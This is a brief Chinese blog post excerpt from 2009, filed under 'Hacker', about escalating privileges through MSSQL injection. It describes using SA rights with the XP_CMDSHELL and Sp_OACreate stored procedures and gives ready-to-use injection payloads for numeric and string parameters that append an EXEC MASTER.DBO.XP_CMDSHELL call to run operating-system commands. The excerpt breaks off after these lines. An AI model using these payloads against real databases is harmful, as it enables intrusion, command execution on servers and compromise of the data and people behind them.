预览模式: 普通 | 列表

MSSQL注入提权的一些方法

作者:岸上的鱼  日期:2009-12-18

MSSQL注入提权思路:
SA权限:利用XP_CMDSHELL,Sp_OACreate等储存过程直接提权.(前提储存过程健在)
相关SQL语句
XP_CMDSHELL:
数字型;EXEC MASTER.DBO.XP_CMDSHELL 'CMDLINE'--
字符型&搜索型';EXEC MASTER.DBO.XP_CMDSHELL 'CMDLINE'--

查看更多...

Tags: sql 注入

分类:Hacker | 固定链接 | 评论: 1 | 引用: 0 | 查看次数: 9519